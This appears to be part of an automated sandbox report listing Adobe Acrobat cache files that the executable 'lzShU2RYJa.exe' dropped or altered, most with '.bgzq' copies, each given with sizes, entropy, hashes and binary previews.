SSDEEP:	12:ko1sZIKLYzVevpjsygJlgjofAYmITB9CLaG0ka674sF09A/MRaoHiMgejVcii9a:38IKLWVmkgjofYIdALaKyiMrZRVbD
MD5:	C9E73CD0E756DF53BBDD73DD5AEC0906
SHA1:	9721E09CAC3DD5B6FFE53E8AC85DB4B1A46C41AA
SHA-256:	731DEDB80FE4A42120D442B9CD7EBFA6E9AEEF995497ADA2A2B56FA8560FD34B
SHA-512:	05F67D596A7879EDBA963F11A1FEF8A64B93715DA97417860477450CAAE927D37276B99D33BD9874DFCB46CC43A3921FD6E875BF0377BA4B21155FA0A103BC88
Malicious:	false
Preview:	2023/.n....l...A.d...@.Ye......r.....G...4..xC.<Y0Y@P*3..h..d.!S...v.}>.WL...K...S...O.3.....f..H..w...0.....Fd...0.a7..D9.k..0}..y.o...x.!..i...L....m..0..5b[....0...c.q.9.W.:..l!...I..r.n..9,...\|.]T..Y..J...&e.7....:w..a.4[.,....+t...`.XY..n_...!.3W.2zBqu.o.-...-..........~.:..tK.{v.GrN.....o.I..z%7.m:.....J.....Z..$..c.a.t.X...-M...K)i.>.l....G..B...?..N&..W.Dp8.L..6".P+../m.....}.......s..#..y~-qX.....%........:....fF..lT.f.....+Bj..Q...1..H...i.f..4.\:9..\J)..Gq.((`."@....o_.c.`.[....;\.....Z.1..[..9.....M..&.z.v.,e.......42....8..E=......f.H..%...$\..Nitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	670
Entropy (8bit):	7.67943342626801
Encrypted:	false
SSDEEP:	12:ko1sZIKLYzVevpjsygJlgjofAYmITB9CLaG0ka674sF09A/MRaoHiMgejVcii9a:38IKLWVmkgjofYIdALaKyiMrZRVbD
MD5:	C9E73CD0E756DF53BBDD73DD5AEC0906
SHA1:	9721E09CAC3DD5B6FFE53E8AC85DB4B1A46C41AA
SHA-256:	731DEDB80FE4A42120D442B9CD7EBFA6E9AEEF995497ADA2A2B56FA8560FD34B
SHA-512:	05F67D596A7879EDBA963F11A1FEF8A64B93715DA97417860477450CAAE927D37276B99D33BD9874DFCB46CC43A3921FD6E875BF0377BA4B21155FA0A103BC88
Malicious:	false
Preview:	2023/.n....l...A.d...@.Ye......r.....G...4..xC.<Y0Y@P*3..h..d.!S...v.}>.WL...K...S...O.3.....f..H..w...0.....Fd...0.a7..D9.k..0}..y.o...x.!..i...L....m..0..5b[....0...c.q.9.W.:..l!...I..r.n..9,...\|.]T..Y..J...&e.7....:w..a.4[.,....+t...`.XY..n_...!.3W.2zBqu.o.-...-..........~.:..tK.{v.GrN.....o.I..z%7.m:.....J.....Z..$..c.a.t.X...-M...K)i.>.l....G..B...?..N&..W.Dp8.L..6".P+../m.....}.......s..#..y~-qX.....%........:....fF..lT.f.....+Bj..Q...1..H...i.f..4.\:9..\J)..Gq.((`."@....o_.c.`.[....;\.....Z.1..[..9.....M..&.z.v.,e.......42....8..E=......f.H..%...$\..Nitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.760341106714771
Encrypted:	false
SSDEEP:	12:YKWYoJHru7GCGBXqjwqA54SyrkKy9FQerJ36z6H09nN2QWtvWJPmLUcDzRbBvYDK:YKWYTI6EqLO53q6HG4vgPGRVgmVbD
MD5:	2F58EF73AB365660F3EDB34412FD7056
SHA1:	B1EA33F2B1B69C6D7E99D15B747E3A695466C6FA
SHA-256:	D3A39DDC495DCB5033C7483A7F8DFF65CD51FCEB8FBDA4C6187ADF374D092F7D
SHA-512:	141FB08FEB7522331DE9644799B79842CEC6886D25EF813E8B6047DF083B327C28186A6C28D91478EFCC5C527834D886172B31E6F7D9F11F61735536E2F89662
Malicious:	false
Preview:	{"os_.......^/.>....TM.f.`.P...\..I\]J^P...j.....f...60...k..&.y.i.ErFB&1.E..B..?w<u:.{..)`MR..q........C.4~...<e~.$..c.j...D5fx....n...".V.B.....M..\|...#N`..r.v..W..]Co.~.M.N9:.i..Ww.6C.........]=../..X;z+.l..xy...~.'..`k.?.Y.u......,...7. oz>.u.l3..@.$..oK.D......2.h..K.....Xa.I....Z.R.V.1.,+.....!.S.w.(..1.>e.B..>...Zm\|o,Aa3.]h..o.].).."........>....@........_~(..M!...-.0.i...Xw.[..?....A.Bf..2.l.=...Z.. .f........_......%..UJI..s[......=N...}..4.P......;q.u..Zz...v......q.,x.r.T.9>..UT..T.........-.......%.i...Y.X.E.0...g/....7.CQ..0.<`..5.h..7.>..cIr_ ..6t.yrk.L..-.J.^.$.....204...l....N..b.$t......>?....+%A....P...n.........g....z...d..B>1!.c(X.."-..;........5..,.b.=.Q..X.litkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.760341106714771
Encrypted:	false
SSDEEP:	12:YKWYoJHru7GCGBXqjwqA54SyrkKy9FQerJ36z6H09nN2QWtvWJPmLUcDzRbBvYDK:YKWYTI6EqLO53q6HG4vgPGRVgmVbD
MD5:	2F58EF73AB365660F3EDB34412FD7056
SHA1:	B1EA33F2B1B69C6D7E99D15B747E3A695466C6FA
SHA-256:	D3A39DDC495DCB5033C7483A7F8DFF65CD51FCEB8FBDA4C6187ADF374D092F7D
SHA-512:	141FB08FEB7522331DE9644799B79842CEC6886D25EF813E8B6047DF083B327C28186A6C28D91478EFCC5C527834D886172B31E6F7D9F11F61735536E2F89662
Malicious:	false
Preview:	{"os_.......^/.>....TM.f.`.P...\..I\]J^P...j.....f...60...k..&.y.i.ErFB&1.E..B..?w<u:.{..)`MR..q........C.4~...<e~.$..c.j...D5fx....n...".V.B.....M..\|...#N`..r.v..W..]Co.~.M.N9:.i..Ww.6C.........]=../..X;z+.l..xy...~.'..`k.?.Y.u......,...7. oz>.u.l3..@.$..oK.D......2.h..K.....Xa.I....Z.R.V.1.,+.....!.S.w.(..1.>e.B..>...Zm\|o,Aa3.]h..o.].).."........>....@........_~(..M!...-.0.i...Xw.[..?....A.Bf..2.l.=...Z.. .f........_......%..UJI..s[......=N...}..4.P......;q.u..Zz...v......q.,x.r.T.9>..UT..T.........-.......%.i...Y.X.E.0...g/....7.CQ..0.<`..5.h..7.>..cIr_ ..6t.yrk.L..-.J.^.$.....204...l....N..b.$t......>?....+%A....P...n.........g....z...d..B>1!.c(X.."-..;........5..,.b.=.Q..X.litkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.954866251664184
Encrypted:	false
SSDEEP:	96:t7QqWqH5r+r1DPYBO7ggsRekKtPSNe3BjmsGsjdIdzPnKp0M9:tUqWq9UZIRFKvag0U
MD5:	BDCC77E53B2EF0145C4A3CFDE919A255
SHA1:	9D63383E29171B180A2F9AE530DDBD10E43BE9C5
SHA-256:	5A2C57149ECCBE19C2EC1E32A4FDEBCB3CA807AB53D22F0B71DD726049522DCA
SHA-512:	6445345EB9E8089C60F6D98820ECDA72EAB9F3CA176457EB8E338873452A32D30CDAA30630CF08610BAD250DD0EFE1C067C13978D14E1AD4B8A14CCCDC558326
Malicious:	false
Preview:	...#.K4.`..Bp..>...S...@,.]A>.?..!.\|e..+g...gL.H'...DZ......;.2.#...c9l}...F.Luke-...r.V@..7]..><.\|..(Kb...)1........../..2...vN....uC........3z.!@.#.\|M.s.Y~.$.J...V.....0ICz......:V.).......P......a..<_.....J..L.x....l.v.7..../...zfb..5.p...=H..sX1.FL.J`5..Y(.......o.:...5YC..7..}..K..7...:"S......n.v......0......>.A..F..k.7....\.%./.s...\|.......1"Z.w...h5Ee.[..Z.X..m.:...o.x.....&..(%59..#....Q..L.....j.....B.E.......J...kZ..g.r8W...6...d;.:.x..].`$.gR.e...._.B.1../elTT.....P......tq..e.....@.#....$SW$..".e.5.... ...G.].k./.3....Z:s......RDM...8..^..~?E;....YQt...{z7f.g.aj...!Xe........yc...K../...?.U*oRS.._.}1J.v...sR..;.....C.....`....2........5Z.C..h.5..c.{....Zh4..9..V.c.E...=."R..[N.F.ya_......s.\?_v.Vco.7..'.bH..[3<U..k&F.#.;..7..k...I$...6...cit...O"T}...4...c..[.R?..u....."a..... .H^.9...?......I..k....Y..~?_5........pU..y..AK.4.9..}b5]....d.......}>..sr ...x.X..C...a.k.K;.....q...o...iJ.....xv.gx!.C.0..&!....Av.7.1=

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.954866251664184
Encrypted:	false
SSDEEP:	96:t7QqWqH5r+r1DPYBO7ggsRekKtPSNe3BjmsGsjdIdzPnKp0M9:tUqWq9UZIRFKvag0U
MD5:	BDCC77E53B2EF0145C4A3CFDE919A255
SHA1:	9D63383E29171B180A2F9AE530DDBD10E43BE9C5
SHA-256:	5A2C57149ECCBE19C2EC1E32A4FDEBCB3CA807AB53D22F0B71DD726049522DCA
SHA-512:	6445345EB9E8089C60F6D98820ECDA72EAB9F3CA176457EB8E338873452A32D30CDAA30630CF08610BAD250DD0EFE1C067C13978D14E1AD4B8A14CCCDC558326
Malicious:	false
Preview:	...#.K4.`..Bp..>...S...@,.]A>.?..!.\|e..+g...gL.H'...DZ......;.2.#...c9l}...F.Luke-...r.V@..7]..><.\|..(Kb...)1........../..2...vN....uC........3z.!@.#.\|M.s.Y~.$.J...V.....0ICz......:V.).......P......a..<_.....J..L.x....l.v.7..../...zfb..5.p...=H..sX1.FL.J`5..Y(.......o.:...5YC..7..}..K..7...:"S......n.v......0......>.A..F..k.7....\.%./.s...\|.......1"Z.w...h5Ee.[..Z.X..m.:...o.x.....&..(%59..#....Q..L.....j.....B.E.......J...kZ..g.r8W...6...d;.:.x..].`$.gR.e...._.B.1../elTT.....P......tq..e.....@.#....$SW$..".e.5.... ...G.].k./.3....Z:s......RDM...8..^..~?E;....YQt...{z7f.g.aj...!Xe........yc...K../...?.U*oRS.._.}1J.v...sR..;.....C.....`....2........5Z.C..h.5..c.{....Zh4..9..V.c.E...=."R..[N.F.ya_......s.\?_v.Vco.7..'.bH..[3<U..k&F.#.;..7..k...I$...6...cit...O"T}...4...c..[.R?..u....."a..... .H^.9...?......I..k....Y..~?_5........pU..y..AK.4.9..}b5]....d.......}>..sr ...x.X..C...a.k.K;.....q...o...iJ.....xv.gx!.C.0..&!....Av.7.1=

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.636074547314347
Encrypted:	false
SSDEEP:	12:k51rwsMPsSstYW73QJ3PlezCkcLVG4GYuWBV15jZTfJD/jVcii9a:idQPk5AJ/leuBTGYvz15jZTBbVbD
MD5:	2E5CA5CDC276369A0BC3BC2FE8D429EF
SHA1:	A1A2D15DB139EB5B76020618F6D5DB5A93214C3D
SHA-256:	608D351A107CB0222E93595266E774ED3DBA5EFA381FDFB485515A42779D2E5B
SHA-512:	4B9EFBA6B0E52C11C08B7C902EF01207FD907B8C0363B31515AA72D84D7464EA973532C1B847D1FD7F6DFEEEC6B6C2A6BE8DDE26AB6103AD160F36F455E7C54B
Malicious:	false
Preview:	2023/....vXP..0.v....M....D0...p..bG.........TPg..`....P...?.s?...L..[CY..$..t..oN..h...s!`S.op....n.7.z......l...>w..0.'....BNZMJ.9.p..v...h;...g..e.,.].C....gT_......$..e...'....F....M.R..Y..c.\|.e.L......*_.]m_..F.s_..[`<o...C......\|&p]..6.......7.{.Bo..;b.).+q.L.1g.&...@....4:. .3..K..._.JC....-..TN.g?f...A.,3ds..Q.....;..m.9.)a..z.0.F..-...t..q..X..@f..H=..,........5.i./........g..C....^.Z........TM=..7.....-.T.....,z.8.M..@r.<..o.W..Z...).'......B....>\.V...NgfjS.:c.4...~w......jW.n..Nw.U...I.....4.[%..@.0p.Q.q..f.\|q.......%..7_oA.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.636074547314347
Encrypted:	false
SSDEEP:	12:k51rwsMPsSstYW73QJ3PlezCkcLVG4GYuWBV15jZTfJD/jVcii9a:idQPk5AJ/leuBTGYvz15jZTBbVbD
MD5:	2E5CA5CDC276369A0BC3BC2FE8D429EF
SHA1:	A1A2D15DB139EB5B76020618F6D5DB5A93214C3D
SHA-256:	608D351A107CB0222E93595266E774ED3DBA5EFA381FDFB485515A42779D2E5B
SHA-512:	4B9EFBA6B0E52C11C08B7C902EF01207FD907B8C0363B31515AA72D84D7464EA973532C1B847D1FD7F6DFEEEC6B6C2A6BE8DDE26AB6103AD160F36F455E7C54B
Malicious:	false
Preview:	2023/....vXP..0.v....M....D0...p..bG.........TPg..`....P...?.s?...L..[CY..$..t..oN..h...s!`S.op....n.7.z......l...>w..0.'....BNZMJ.9.p..v...h;...g..e.,.].C....gT_......$..e...'....F....M.R..Y..c.\|.e.L......*_.]m_..F.s_..[`<o...C......\|&p]..6.......7.{.Bo..;b.).+q.L.1g.&...@....4:. .3..K..._.JC....-..TN.g?f...A.,3ds..Q.....;..m.9.)a..z.0.F..-...t..q..X..@f..H=..,........5.i./........g..C....^.Z........TM=..7.....-.T.....,z.8.M..@r.<..o.W..Z...).'......B....>\.V...NgfjS.:c.4...~w......jW.n..Nw.U...I.....4.[%..@.0p.Q.q..f.\|q.......%..7_oA.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.361384622836697
Encrypted:	false
SSDEEP:	6:xn/vzhd3ZVemcaWneTKCs5uTicX6Qt4jfOrhiIGrHfNe6pmfdt9mzjhPcii96Z:p/vz3ZzcaWes59C6QOGh25poAjVcii9a
MD5:	C293CB80504B0FBBBE495B89D2550114
SHA1:	FAA040345332AC2328AB6F887077CD6127507D13
SHA-256:	5867079A6434AD95DF68FC36400838593ACCAA25820E67F5BB4324A2EB45D9DD
SHA-512:	337BC402F62D066D4BC71AFC2F3EB8C9CD4AA863634B3DA75D38003B1E2B508CB48397A406F652D0F5FB84F8B11399109CAA5FEA13E24615710BCBFEF7FED65F
Malicious:	false
Preview:	S.z1.M..[..q...7...4.L&.8.r.....E..6.j.].1A.k...R.....Qw:p...f....X2..3q(..j..T\|.pBO...~...[...2R..W..Z.....AAs.d..ob.62....}8..p{/,...J..n..=H..D.......p.U...A....R..f...V.-.3@...7..}(..!..7.]X.m.m..+....>.(Pi..4H.fm.5!.CqqP...k.......MV.\|.W7.-.T.3p.40S/z.!..H....JO.....<:/\y.....ScB"#..z.6..Q.V.5....i8.......7.(..5...7....S).....U...y...vitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.361384622836697
Encrypted:	false
SSDEEP:	6:xn/vzhd3ZVemcaWneTKCs5uTicX6Qt4jfOrhiIGrHfNe6pmfdt9mzjhPcii96Z:p/vz3ZzcaWes59C6QOGh25poAjVcii9a
MD5:	C293CB80504B0FBBBE495B89D2550114
SHA1:	FAA040345332AC2328AB6F887077CD6127507D13
SHA-256:	5867079A6434AD95DF68FC36400838593ACCAA25820E67F5BB4324A2EB45D9DD
SHA-512:	337BC402F62D066D4BC71AFC2F3EB8C9CD4AA863634B3DA75D38003B1E2B508CB48397A406F652D0F5FB84F8B11399109CAA5FEA13E24615710BCBFEF7FED65F
Malicious:	false
Preview:	S.z1.M..[..q...7...4.L&.8.r.....E..6.j.].1A.k...R.....Qw:p...f....X2..3q(..j..T\|.pBO...~...[...2R..W..Z.....AAs.d..ob.62....}8..p{/,...J..n..=H..D.......p.U...A....R..f...V.-.3@...7..}(..!..7.]X.m.m..+....>.(Pi..4H.fm.5!.CqqP...k.......MV.\|.W7.-.T.3p.40S/z.!..H....JO.....<:/\y.....ScB"#..z.6..Q.V.5....i8.......7.(..5...7....S).....U...y...vitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.5976323596225095
Encrypted:	false
SSDEEP:	12:kc73Np6t5eCkKjNBuEVhiIgjcnLqwZGNc33a2PjqUkBxrJuU9Ooh/jVcii9a:R6/eCFh0EVU7YLqrNcxrHkHFlO8bVbD
MD5:	346A6A599B90FDCD0840B1759BC650EE
SHA1:	C7B368609DEF6DB18319D06B28DA4477365D0D31
SHA-256:	B20BA0232E46517638999F2861505ECC69521411A8C54051480E0FE84104A5F1
SHA-512:	09DD35D8CBCA3406D0EFE445F6C115706403D98E6C7C2FB9992441DACEF14CF24E967AFFBA0CEF378D90B041CD26FD697C3D0384CE57E857223235BAD6DC2ED6
Malicious:	false
Preview:	2023/.p.D.\|6......e..q...:j....a.D{.:.._0...4...z.y.=qV...AM.S.....U.w.J4...m....k.TG0.......=.....T.*P...s....c;.b.+......&..7..'.U.\J.3...4.7..\.~.\|C...k.2.Zj.f=..K.o...}.t......5....YX2$.......sK.4..=..7g.......=k?-.....PH.Y.fv.`.[..`....=[..1....E.......rC..T.X2P......`.ME(.m..^...k....q..d..N(K..Z...4..%...@..-....M.....0c:.(....,...G.....'..y&..0....C..5R...s._.r7V.....j\GE]L...y>.Q.?MQe.!..K.#.fk.cv...._R@o....U.}q[.i...t."..p[mN7.7"Ee....d...,..^^.?...G....}V....h..2...".@v...G..;_.2.G.D.x.....e..HK~itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.5976323596225095
Encrypted:	false
SSDEEP:	12:kc73Np6t5eCkKjNBuEVhiIgjcnLqwZGNc33a2PjqUkBxrJuU9Ooh/jVcii9a:R6/eCFh0EVU7YLqrNcxrHkHFlO8bVbD
MD5:	346A6A599B90FDCD0840B1759BC650EE
SHA1:	C7B368609DEF6DB18319D06B28DA4477365D0D31
SHA-256:	B20BA0232E46517638999F2861505ECC69521411A8C54051480E0FE84104A5F1
SHA-512:	09DD35D8CBCA3406D0EFE445F6C115706403D98E6C7C2FB9992441DACEF14CF24E967AFFBA0CEF378D90B041CD26FD697C3D0384CE57E857223235BAD6DC2ED6
Malicious:	false
Preview:	2023/.p.D.\|6......e..q...:j....a.D{.:.._0...4...z.y.=qV...AM.S.....U.w.J4...m....k.TG0.......=.....T.*P...s....c;.b.+......&..7..'.U.\J.3...4.7..\.~.\|C...k.2.Zj.f=..K.o...}.t......5....YX2$.......sK.4..=..7g.......=k?-.....PH.Y.fv.`.[..`....=[..1....E.......rC..T.X2P......`.ME(.m..^...k....q..d..N(K..Z...4..%...@..-....M.....0c:.(....,...G.....'..y&..0....C..5R...s._.r7V.....j\GE]L...y>.Q.?MQe.!..K.#.fk.cv...._R@o....U.}q[.i...t."..p[mN7.7"Ee....d...,..^^.?...G....}V....h..2...".@v...G..;_.2.G.D.x.....e..HK~itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.520573281719844
Encrypted:	false
SSDEEP:	12:GOjhnm12UqJoHkFLfgGcphtOPjBT8n3ZRSFQswwdrOjVcii9a:G32UqQOUpPOPjBo3ZRSP+VbD
MD5:	44BE0A42FA8914F3A8F129271587091B
SHA1:	004E8FB32B5674F600E3832F8DDFC6BC6F8173D4
SHA-256:	8B2267FBC0054650FBC32BEEB03BDC9CB5251014F64E96A0A7325FDD6CF859C3
SHA-512:	99617D57A3C259581C262E8F55AD67AC905B35AA886E46B8D2C830A8CAC4A2D0059532CE440D6FD2579B6C13DEB822078F2EBEE9358FC4CD7AC197297A255E09
Malicious:	false
Preview:	.h.6...Y...l{.]....NKE.yF.G .i..:.....G...F.!8F.q./<...0...SS...$....)b<.{....G.rm1.#D.Q.)r.....K.M..G....SYj...c}1...m...$..'a@....y..Q.jA......IIiIZ?u....O..H..O.Q.,.x...M..Vd1\...+~."T.2.....h...X.U..eP....w...:.0.c..q......F......5.....f1..Kr...5~o...[.\H.`.nvjl].8$..c0?.[...z$N.%....Rf.....a...."..pp...U...#>.J...N<.S+M.#i...............H..g...._{...Eta..`.L..q=hF.'+v.Tf.3lG?....;.Q.OY4c.t.@gGH*.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.520573281719844
Encrypted:	false
SSDEEP:	12:GOjhnm12UqJoHkFLfgGcphtOPjBT8n3ZRSFQswwdrOjVcii9a:G32UqQOUpPOPjBo3ZRSP+VbD
MD5:	44BE0A42FA8914F3A8F129271587091B
SHA1:	004E8FB32B5674F600E3832F8DDFC6BC6F8173D4
SHA-256:	8B2267FBC0054650FBC32BEEB03BDC9CB5251014F64E96A0A7325FDD6CF859C3
SHA-512:	99617D57A3C259581C262E8F55AD67AC905B35AA886E46B8D2C830A8CAC4A2D0059532CE440D6FD2579B6C13DEB822078F2EBEE9358FC4CD7AC197297A255E09
Malicious:	false
Preview:	.h.6...Y...l{.]....NKE.yF.G .i..:.....G...F.!8F.q./<...0...SS...$....)b<.{....G.rm1.#D.Q.)r.....K.M..G....SYj...c}1...m...$..'a@....y..Q.jA......IIiIZ?u....O..H..O.Q.,.x...M..Vd1\...+~."T.2.....h...X.U..eP....w...:.0.c..q......F......5.....f1..Kr...5~o...[.\H.`.nvjl].8$..c0?.[...z$N.%....Rf.....a...."..pp...U...#>.J...N<.S+M.#i...............H..g...._{...Eta..`.L..q=hF.'+v.Tf.3lG?....;.Q.OY4c.t.@gGH*.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	modified
Size (bytes):	635
Entropy (8bit):	7.5816168052179265
Encrypted:	false
SSDEEP:	12:ke9G6OQi5XaA9Ws7lFuZ+5cL0KCN30IsvM9MT5ULaIDLY3UHjVcii9a:b9GExsRQZH0KCNkIsEA5anY3UDVbD
MD5:	9F4885EBC4807CEE568D36CF861479C1
SHA1:	2A0BFE03B6B6A9D1A2624067547212DF2182D5CF
SHA-256:	6A51F9E92A85A044CED2A3DE108F3773233E3EDF45426920ED5A7F6FAA9B1750
SHA-512:	2DEA7A2630AC9721A42A6823BFD05E984FF9D3CFDA27F34777B856B701A01D2734B2D184D0444FFF0176530717E5D4CF9825447062CB15EAED894DF89D6AB95F
Malicious:	false
Preview:	2023/.Kwg^..o.......e...z68H_.#n....E!0.-.Q..qW.#.gN..oH1t64....<{Q=.#..p.......".<)."+v87.1TK......i.(f.D.....3M...WS....\|e...J+..^.4....?z..ps......z......&X?i..P[Z.R_...;L..,..].s'....r_...[..3m...&.cQ......".Lg.I ......x.t..Fm..r.J'.<..+...Qqy.E......9...`.)..k...CF.i..j..q.`.......-... lCAZ._..M..W..b.....M;..!......yF..<nN.B.."....[...a..n..#..........s...0%..Y.....zn.....%6.......$I_.s....:.X.sBG.#<..z.\|.m.%.w..`.j..._.....J.-.s.9..N...cE.+\.........h.(f\Q....#.}.K5.Q.Q/i.`K...5..f..'...mn\".n..o.q:......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	635
Entropy (8bit):	7.5816168052179265
Encrypted:	false
SSDEEP:	12:ke9G6OQi5XaA9Ws7lFuZ+5cL0KCN30IsvM9MT5ULaIDLY3UHjVcii9a:b9GExsRQZH0KCNkIsEA5anY3UDVbD
MD5:	9F4885EBC4807CEE568D36CF861479C1
SHA1:	2A0BFE03B6B6A9D1A2624067547212DF2182D5CF
SHA-256:	6A51F9E92A85A044CED2A3DE108F3773233E3EDF45426920ED5A7F6FAA9B1750
SHA-512:	2DEA7A2630AC9721A42A6823BFD05E984FF9D3CFDA27F34777B856B701A01D2734B2D184D0444FFF0176530717E5D4CF9825447062CB15EAED894DF89D6AB95F
Malicious:	false
Preview:	2023/.Kwg^..o.......e...z68H_.#n....E!0.-.Q..qW.#.gN..oH1t64....<{Q=.#..p.......".<)."+v87.1TK......i.(f.D.....3M...WS....\|e...J+..^.4....?z..ps......z......&X?i..P[Z.R_...;L..,..].s'....r_...[..3m...&.cQ......".Lg.I ......x.t..Fm..r.J'.<..+...Qqy.E......9...`.)..k...CF.i..j..q.`.......-... lCAZ._..M..W..b.....M;..!......yF..<nN.B.."....[...a..n..#..........s...0%..Y.....zn.....%6.......$I_.s....:.X.sBG.#<..z.\|.m.%.w..`.j..._.....J.-.s.9..N...cE.+\.........h.(f\Q....#.}.K5.Q.Q/i.`K...5..f..'...mn\".n..o.q:......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	781312
Entropy (8bit):	7.7022686862860406
Encrypted:	false
SSDEEP:	12288:IWYUVmfw2hn7uv+uZARVOAzft8cC1yn1j8Se+isLF6JiPvt6KfGfxKno:1MfNhnGWRHzfGSn1S+isLF6Jgvt6K+fj
